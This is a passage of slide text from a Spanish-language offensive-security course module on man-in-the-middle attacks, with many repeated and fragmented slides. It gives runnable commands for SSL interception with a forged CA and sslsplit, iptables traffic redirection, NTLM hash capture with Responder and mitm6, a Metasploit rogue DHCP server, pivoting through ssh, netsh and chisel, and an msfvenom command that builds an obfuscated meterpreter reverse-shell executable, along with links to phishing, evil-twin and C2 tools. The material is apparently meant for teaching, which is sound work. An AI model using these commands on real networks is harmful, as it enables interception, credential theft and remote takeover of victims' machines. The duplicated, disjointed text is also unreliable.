https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.exploit-db.com/docs/48120


BASIC MITM - ARP SPOOFING

       - Hacer:



BASIC MITM - ARP SPOOFING

       - Hacer:



BASIC MITM - ARP SPOOFING

MODULO TAL        - Hacer:
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Limitaciones del ataque ARP Spoofing:
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Limitaciones del ataque ARP Spoofing:

● Necesidad de estar en la misma red: El atacante debe estar en la misma red local que las víctimas para 
ejecutar un ataque de ARP Spoofing.

● Detección y prevención: Los ataques de ARP Spoofing son relativamente fáciles de detectar si se utilizan 
herramientas de monitoreo adecuadas. Además, se pueden implementar medidas de seguridad, como 
DHCP Snooping y Dynamic ARP Inspection, para prevenir este tipo de ataques.

● Problemas con HTTPS: Con la creciente adopción de HTTPS, los certificados SSL/TLS dificultan la 
interceptación de tráfico cifrado. Los navegadores modernos también son más resistentes a los ataques 
MITM, lo que limita aún más la efectividad de los ataques de ARP Spoofing.
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Limitaciones del ataque ARP Spoofing:

● Necesidad de estar en la misma red: El atacante debe estar en la misma red local que las víctimas para 
ejecutar un ataque de ARP Spoofing.

● Detección y prevención: Los ataques de ARP Spoofing son relativamente fáciles de detectar si se utilizan 
herramientas de monitoreo adecuadas. Además, se pueden implementar medidas de seguridad, como 
DHCP Snooping y Dynamic ARP Inspection, para prevenir este tipo de ataques.

● Problemas con HTTPS: Con la creciente adopción de HTTPS, los certificados SSL/TLS dificultan la 
interceptación de tráfico cifrado. Los navegadores modernos también son más resistentes a los ataques 
MITM, lo que limita aún más la efectividad de los ataques de ARP Spoofing.

Dado que muchos servicios en línea utilizan HTTPS, la efectividad de ARP Spoofing se ha visto reducida en gran 
medida en los últimos años. Los navegadores modernos muestran advertencias de seguridad cuando se intenta 
acceder a sitios web con certificados no válidos o cuando se detectan posibles ataques MITM. Como resultado, 
los atacantes suelen recurrir a técnicas más avanzadas para sortear estas defensas.



Cert and SSL - Spoofing
Los certificados SSL/TLS (Secure Sockets Layer/Transport Layer Security) son un componente fundamental en la 
seguridad de las comunicaciones en línea. Se utilizan para cifrar las conexiones entre un cliente y un servidor, lo que 
garantiza la privacidad y la integridad de los datos transmitidos. Aquí hay información relevante sobre los certificados 
SSL/TLS:

Importancia de los Certificados SSL/TLS:

 Cifrado de Comunicaciones: Los certificados SSL/TLS permiten el cifrado de las comunicaciones entre un cliente y 
un servidor. Esto garantiza que los datos transmitidos estén protegidos y no sean legibles para terceros no 
autorizados.

 Integridad de Datos: Además del cifrado, los certificados SSL/TLS verifican la integridad de los datos. Si se 
modifica la información durante la transmisión, se detecta y se rechaza.

 Autenticación del Servidor: Los certificados SSL/TLS autentican al servidor, lo que garantiza que el cliente se está 
conectando al sitio web o servidor correcto y no a un sitio web falso. Esto es especialmente importante para 
prevenir ataques MITM (Man-in-the-Middle).

 Construcción de Confianza: La presencia de un certificado SSL/TLS en un sitio web se indica mediante el icono de 
candado en el navegador y la dirección "https://". Esto construye confianza en los visitantes del sitio, ya que saben 
que sus datos están protegidos.



Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un 
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el 
certificado no es válido o es sospechoso, se mostrarán advertencias al usuario.

Cert and SSL - Spoofing



Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un 
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el 
certificado no es válido o es sospechoso, se mostrarán advertencias al usuario.

Para llevar a cabo un ataque MITM en una conexión segura HTTPS, un atacante debería ser capaz de:

● Suplantar al servidor legítimo y presentar un certificado SSL/TLS válido (lo que es muy difícil debido a la 
autoridad de certificación que emite los certificados).

● Convencer al usuario de que su certificado es legítimo (lo que es complicado debido a las advertencias del 
navegador).

Dado que los navegadores modernos son muy buenos en detectar y advertir sobre certificados no válidos o 
sospechosos, los ataques MITM exitosos en conexiones HTTPS son cada vez más difíciles de llevar a cabo.
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Uso de Certificados SSL/TLS para Autenticación:

Además de asegurar las comunicaciones, los certificados SSL/TLS también se pueden utilizar para 
autenticarse en plataformas. Esto se logra mediante certificados de cliente, que son emitidos a los 
usuarios o dispositivos y se utilizan para demostrar su identidad ante un servidor. Los certificados de 
cliente son útiles en aplicaciones de acceso seguro a sistemas, como redes VPN o servicios web 
restringidos.
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Uso de Certificados SSL/TLS para Autenticación:

Además de asegurar las comunicaciones, los certificados SSL/TLS también se pueden utilizar para 
autenticarse en plataformas. Esto se logra mediante certificados de cliente, que son emitidos a los 
usuarios o dispositivos y se utilizan para demostrar su identidad ante un servidor. Los certificados de 
cliente son útiles en aplicaciones de acceso seguro a sistemas, como redes VPN o servicios web 
restringidos.

En resumen, los certificados SSL/TLS desempeñan un papel crítico en la seguridad de Internet al cifrar 
las comunicaciones, autenticar servidores y, en algunos casos, autenticar a los clientes. Están diseñados 
para garantizar la privacidad, la integridad y la autenticación en un mundo en línea donde la seguridad es 
fundamental.
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un 
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el 
certificado no es válido o es sospechoso, se mostrarán advertencias al usuario.
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un 
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el 
certificado no es válido o es sospechoso, se mostrarán advertencias al usuario.

Para llevar a cabo un ataque MITM en una conexión segura HTTPS, un atacante debería ser capaz de:

● Suplantar al servidor legítimo y presentar un certificado SSL/TLS válido (lo que es muy difícil debido a la 
autoridad de certificación que emite los certificados).

● Convencer al usuario de que su certificado es legítimo (lo que es complicado debido a las advertencias del 
navegador).
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Uso de Certificados SSL/TLS para Evitar Ataques MITM:

Los certificados SSL/TLS son una defensa efectiva contra los ataques MITM. Cuando un sitio web utiliza un 
certificado SSL/TLS, el cliente (navegador web) verifica la autenticidad del certificado del servidor. Si el 
certificado no es válido o es sospechoso, se mostrarán advertencias al usuario.

Para llevar a cabo un ataque MITM en una conexión segura HTTPS, un atacante debería ser capaz de:

● Suplantar al servidor legítimo y presentar un certificado SSL/TLS válido (lo que es muy difícil debido a la 
autoridad de certificación que emite los certificados).

● Convencer al usuario de que su certificado es legítimo (lo que es complicado debido a las advertencias del 
navegador).

Dado que los navegadores modernos son muy buenos en detectar y advertir sobre certificados no válidos o 
sospechosos, los ataques MITM exitosos en conexiones HTTPS son cada vez más difíciles de llevar a cabo.



Teoría: generamos un certificado para levantar un servicio HTTP que suplante un servicio web, 
interceptaremos el trafico y descifraremos el trafico con el certificado
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Teoría: generamos un certificado para levantar un servicio HTTP que suplante un servicio web, 
interceptaremos el trafico y descifraremos el trafico con el certificado

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> keytool -genkey -v -keystore MiTM.cert -alias mitmcerts -keyalg RSA -keysize 2048 -validity 100000
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Teoría: generamos un certificado para levantar un servicio HTTP que suplante un servicio web, 
interceptaremos el trafico y descifraremos el trafico con el certificado

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> keytool -genkey -v -keystore MiTM.cert -alias mitmcerts -keyalg RSA -keysize 2048 -validity 100000

# [1] create RSA key pair
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> openssl genrsa -out ca.key 4096

# [2] create cert
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
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Reset de IPtables:
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> echo '1' > /proc/sys/net/ipv4/ip_forward
       iptables-save > /pineapple/modules/SSLsplit/rules/saved
       iptables -X
       iptables -F
       iptables -t nat -F
       iptables -P INPUT ACCEPT
       iptables -P FORWARD ACCEPT
       iptables -P OUTPUT ACCEPT
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Reset de IPtables:
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> echo '1' > /proc/sys/net/ipv4/ip_forward
       iptables-save > /pineapple/modules/SSLsplit/rules/saved
       iptables -X
       iptables -F
       iptables -t nat -F
       iptables -P INPUT ACCEPT
       iptables -P FORWARD ACCEPT
       iptables -P OUTPUT ACCEPT
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Posibles redirecciones:
## Plain text HTTP traffic (80) is redirected to port 8080
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT 
--to-ports 8080

## SSL-based HTTPS traffic (443) is redirected to port 8443
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT 
--to-ports 8443



## WhatsApp (5222) is redirected to port 8080 (Deprecated)
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

## IMAP over SSL (993), SMTP over SSL (465 and 587) is redirected to port 8443
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
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Empleamos la herramienta SSLSTRIP para que el trafico cifrado viaje a traves de el certificado SSL 
que acabmos de crear. Ojo con los directorios donde quereis que se exporten los resultados asi 
como poner correctamente la ruta donde se encuentra el gertificado que hemos generado.

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> sudo sslsplit -D -l /tmp/connections.log -j /tmp/sslsplit/ -S /tmp/logdir/ -k /path/to/ca.key -c 
/path/to/ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
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Empleamos la herramienta SSLSTRIP para que el trafico cifrado viaje a traves de el certificado SSL 
que acabmos de crear. Ojo con los directorios donde quereis que se exporten los resultados asi 
como poner correctamente la ruta donde se encuentra el gertificado que hemos generado.

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> sudo sslsplit -D -l connections.log -j /tmp/sslsplit/ -S /tmp/logdir/ -k /path/to/ca.key -c 
/path/to/ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

Muchas webs daran error, podéis intentarlo con alguno como: https://www.ovh.com/auth/ 
Como dara MUCHOS resultados de peticiones de tráfico interceptado, usaremos el comando find 
para limpiar ficheros vacios.

┌[jomoza@notyourdevice] [/dev/pts/0] [master ⚡]
└[~]> find /tmp/logdir -size 0 -print -delete





MORE IN THE MIDDLE THAN A 
THURSDAY

WUPS - Mod. 3. Men in the Middle II



MORE IN THE MIDDLE THAN A THURSDAY
RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener 
los hashes NTLM de las contraseñas de los usuarios. 

La herramienta funciona engañando a los dispositivos de la red para que se autentiquen con la 
herramienta. El ataque aprovecha las debilidades en la implementación del protocolo NTLMv1/v2 
de Microsoft para forzar la autenticación a través de la herramienta y obtener los hashes 
NTLM de las contraseñas de los usuarios en la red.

$ responder -I eth0



MORE IN THE MIDDLE THAN A THURSDAY
CUANDO UN DISPOSITIVO EN UNA RED IPV6 NECESITA RESOLVER UN NOMBRE DE DOMINIO, ENVÍA UNA 
CONSULTA DE DNS EN MULTICAST A TODOS LOS DISPOSITIVOS DE LA RED LOCAL. ESTO SIGNIFICA QUE 
CUALQUIER DISPOSITIVO EN LA RED PUEDE RESPONDER A LA CONSULTA Y PROPORCIONAR UNA DIRECCIÓN IP 
FALSA, LO QUE PERMITE A UN ATACANTE REALIZAR ATAQUES DE PHISHING, REDIRECCIONAMIENTO DE 
TRÁFICO Y OTROS TIPOS DE ATAQUES MITM.

MITM6 ES UNA HERRAMIENTA DE CÓDIGO ABIERTO QUE SE UTILIZA PARA REALIZAR ATAQUES DE TIPO 
MAN-IN-THE-MIDDLE (MITM) CONTRA REDES IPV6. LA HERRAMIENTA SE ENFOCA EN EXPLOTAR DEBILIDADES 
EN LA IMPLEMENTACIÓN DEL PROTOCOLO DE RESOLUCIÓN DE NOMBRES DE DOMINIO (DNS) EN ENTORNOS DE 
RED IPV6.

MITM6 APROVECHA ESTA DEBILIDAD EN LA IMPLEMENTACIÓN DEL PROTOCOLO DE RESOLUCIÓN DE NOMBRES DE 
DOMINIO EN REDES IPV6 PARA REALIZAR UN ATAQUE MITM Y REDIRIGIR EL TRÁFICO DE RED DE LAS 
VÍCTIMAS A TRAVÉS DE UN SERVIDOR CONTROLADO POR EL ATACANTE. LA HERRAMIENTA INTERCEPTA LAS 
SOLICITUDES DE DNS REALIZADAS POR LOS DISPOSITIVOS EN LA RED Y LAS RESPONDE CON RESPUESTAS 
FALSAS QUE CONTIENEN DIRECCIONES IP CONTROLADAS POR EL ATACANTE.

$ sudo mitm6 -i eth0

$ responder -I eth0 -wFv



BLEACH.local : FIRST ACCESS : HTLMv2 HASH   



DHCP : STRVT ATTACK : ROGE DHCP   
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DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   

1. ifconfig eth0

2. echo 1 > /proc/sys/net/ipv4/ip_forward

3. ifconfig eth0:1 192.168.1.11 netmask 255.255.255.0

4. route add default gw 192.168.137.1 eth0:1 (control via 'route -n')

5. msfconsole -q -x 'use auxiliary/server/dhcp' 

6. Adjust the config as you like (see options)

    > set srvhost 192.168.13.37 ( IP address of the DHCP server ) 

    > set netmask 255.255.255.0 ( subnet mask ) 

    > set router 192.168.13.1 (default gateway of the DHCP lease) 

    > set dnsserver 192.168.1.47 (DNS server of the DHCP lease)



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



sudo dnschef -i 10.10.0.105 

DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



DHCP : STRVT ATTACK : ROGE DHCP   



EXTRA EXEMPLE :: DNS SPOOFING

┌──(kali㉿kali)-[/home/kali/Trafficante-1.2.1]
└─$ sudo apt-get install build-essential python-dev libnetfilter-queue-dev
┌──(kali㉿kali)-[/home/kali/Trafficante-1.2.1]
└─$ pip3 install -U git+https://github.com/kti/python-netfilterqueue
┌──(kali㉿kali)-[/home/kali/Trafficante-1.2.1]
└─$ python3 -m pip install --upgrade setuptools 

https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-
f1c5043b2d86 

https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86
https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86


EXTRA EXEMPLE :: DNS SPOOFING

┌──(kali㉿kali)-[/home/kali/Trafficante-1.2.1]
└─$ sudo apt-get install build-essential python-dev libnetfilter-queue-dev
┌──(kali㉿kali)-[/home/kali/Trafficante-1.2.1]
└─$ pip3 install -U git+https://github.com/kti/python-netfilterqueue
┌──(kali㉿kali)-[/home/kali/Trafficante-1.2.1]
└─$ python3 -m pip install --upgrade setuptools 

https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-
f1c5043b2d86 

https://github.com/n0nexist/Trafficante
https://github.com/n0nexist/Trafficante/blob/main/wiki/dns-spoofing.md

https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86
https://bryanleong98.medium.com/network-pivoting-using-ssh-return-reverse-shell-from-internal-network-machine-f1c5043b2d86
https://github.com/n0nexist/Trafficante
https://github.com/n0nexist/Trafficante/blob/main/wiki/dns-spoofing.md


EXTRA EXEMPLE :: MITM + PHISHING

https://github.com/jigar-sable/web-ui-clones 
https://github.com/X-SLAYER/Website-Cloner 

https://github.com/nico-duitsmann/goldphish 

https://github.com/jigar-sable/web-ui-clones
https://github.com/X-SLAYER/Website-Cloner
https://github.com/nico-duitsmann/goldphish


EXTRA EXEMPLE :: DNS SPOOFING



HACKING WIFI IS MORE THAN PASSWORDS 

https://github.com/sensepost/wpa_sycophant 

● HOSTAPD-MANA
● HOSTAPD-WPE (KARMA OPTIONS)
● EAPHAMMER
● BERATE_AP

https://github.com/DanMcInerney/wifijammer 
https://github.com/SValkanov/wifivoid 

https://github.com/sensepost/wpa_sycophant
https://github.com/DanMcInerney/wifijammer
https://github.com/SValkanov/wifivoid


https://github.com/sensepost/berate_ap 

EVIL TWINS

https://github.com/sensepost/berate_ap


https://github.com/sensepost/berate_ap 

I <3 MANA ATTACK 

https://github.com/sensepost/berate_ap


JUMP STYLE
Ofustacing & Pivoting Networks



PIVOTING :: netsh port forwarder
https://deephacking.tech/que-es-el-pivoting/ 
https://ethicalhackneox.wordpress.com/2016/01/06/aprendiendo-a-hacer-piv
oting-fase-de-post-explotacion/ 

https://www.tutorialspoint.com/metasploit/metaspl
oit_pivoting.htm 

Pivoting es el método en el 
que obtenemos acceso sobre 
una máquina para explotar 
otra máquina más profunda en 
la red. Usando Pivoting se 
hace posible para un atacante 
[ una vez que obtiene acceso 
inicial a un Sistema de red 
remoto] acceder a otras 
máquinas en la red que de otra 
manera no serían accesibles.

https://deephacking.tech/que-es-el-pivoting/
https://ethicalhackneox.wordpress.com/2016/01/06/aprendiendo-a-hacer-pivoting-fase-de-post-explotacion/
https://ethicalhackneox.wordpress.com/2016/01/06/aprendiendo-a-hacer-pivoting-fase-de-post-explotacion/
https://www.tutorialspoint.com/metasploit/metasploit_pivoting.htm
https://www.tutorialspoint.com/metasploit/metasploit_pivoting.htm


PIVOTING :: ssh port forwarder
https://deephacking.tech/que-es-el-pivoting/ 

ssh -L 1234:10.10.33.14:80 attacker@192.168.1.13 -fN

La explicación de este comando es muy simple: El indicador -L especifica que vamos a establecer un oyente dirigido al 
puerto a continuación. En este ejemplo usamos el puerto 1234, es decir, que nuestro puerto local 1234 tendrá una 
redirección al puerto 80 de 10.10.33.14, pero como sabemos que no tenemos alcance directo, usaremos la dirección IP 
192.168.1.13 como intermediario.

El indicador –f pide que todo esto se ejecute en segundo plano, para poder seguir escribiendo comandos. La bandera –N 
ordena no ejecutar comandos remotos, solamente que abra la conexión.

Para ello necesitamos las credenciales de acceso a SSH de dicha máquina, o en su defecto, una llave privada, ya sea del 
tipo RSA, ECDSA, Ed25519 o de cualquier otro tipo.

Hay más metodos y herramientas, sin embargo, es bueno saber hacer las cosas sin herramientas primero, para ganarse el 
mérito. Por último, recomiendo visitar la sala de Tryhackme Wreath, ya que hay más información acerca de este tema, 
además de pivoting con herramientas como sshuttle, chisel, socat y más.

https://deephacking.tech/que-es-el-pivoting/
https://tryhackme.com/room/wreath


PIVOTING :: netsh port forwarder
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PIVOTING :: netsh port forwarder
C:\Windows\system32>netsh advfirewall firewall add rule name="Allow pivoting" dir=in action=allow 
protocol=TCP localport=8777
Aceptar

C:\Windows\system32>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8777 
connectaddress=192.168.1.40 connectport=8080 protocol=tcp

C:\Windows\system32>netsh interface portproxy show v4tov4

Escuchar en ipv4:       Conectar a ipv4:

Dirección       Puerto      Dirección       Puerto
--------------- ----------  --------------- ----------
0.0.0.0         8777        192.168.1.40    8080



PIVOTING :: netsh port forwarder



PIVOTING :: chisel

https://github.com/shantan
u561993/SharpChisel/rele
ases/tag/v1.1 https://github.com/jpillora/chisel#demo 

Chisel es una herramienta diseñada para facilitar el pivoteo en situaciones de hacking ético y pruebas de 
penetración. La función principal de Chisel es proporcionar una forma segura y eficiente de crear túneles TCP 
a través de conexiones reversas y directas, lo que permite redirigir tráfico de red a través de máquinas 
intermedias.
Usos Prácticos:

● Pivoteo lateral: Permite a los profesionales de seguridad moverse lateralmente a través de la red, explorando y 
comprometiendo sistemas adicionales.

● Sorteo de restricciones de red: Ayuda a sortear restricciones de firewall y acceder a servicios internos de la 
red comprometida.

● Exfiltración de datos: Facilita la transferencia segura de datos desde la red comprometida hasta la máquina 
atacante.

https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/jpillora/chisel#demo


PIVOTING :: chisel

https://github.com/shantan
u561993/SharpChisel/rele
ases/tag/v1.1 

https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1


PIVOTING :: chisel

https://github.com/shantan
u561993/SharpChisel/rele
ases/tag/v1.1 

https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
https://github.com/shantanu561993/SharpChisel/releases/tag/v1.1
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COMUNICATE TO PWN :: COVERT CHANELS



COMUNICATE TO PWN :: NXC
https://github.com/Pennyw0rth/NetExec/releases/download/v1.1.0/nxc 

https://github.com/Pennyw0rth/NetExec/releases/download/v1.1.0/nxc
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THE REVERSE SHELL :: OFUSCATIO EVER 
https://github.com/t3l3machus/hoaxshell 

https://github.com/t3l3machus/hoaxshell


THE REVERSE SHELL :: OFUSCATIO EVER 
https://github.com/t3l3machus/hoaxshell 

https://github.com/t3l3machus/hoaxshell


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

root@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) 
-b "\x00\x0a\x0d" -f c -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe > 
reverse.exe
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

root@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) 
-b "\x00\x0a\x0d" -f c -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe > 
reverse.exe
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom


COMUNICATE TO PWN :: C2 CHANELS

https://github.com/k8gege/PowerLadon 
https://github.com/tcostam/awesome-command-control 

root@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) 
-b "\x00\x0a\x0d" -f c -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe > 
reverse.exe
https://book.hacktricks.xyz/generic-methodologies-an
d-resources/shells/msfvenom 

https://github.com/berkgoksel/SierraOne 
https://github.com/berkgoksel/SierraTwo 
https://github.com/machine1337/gmailc2 

https://arszilla.com/hiding-your-c2-tr
affic-with-discord-and-slack 

https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/msfvenom
https://github.com/berkgoksel/SierraOne
https://github.com/berkgoksel/SierraTwo
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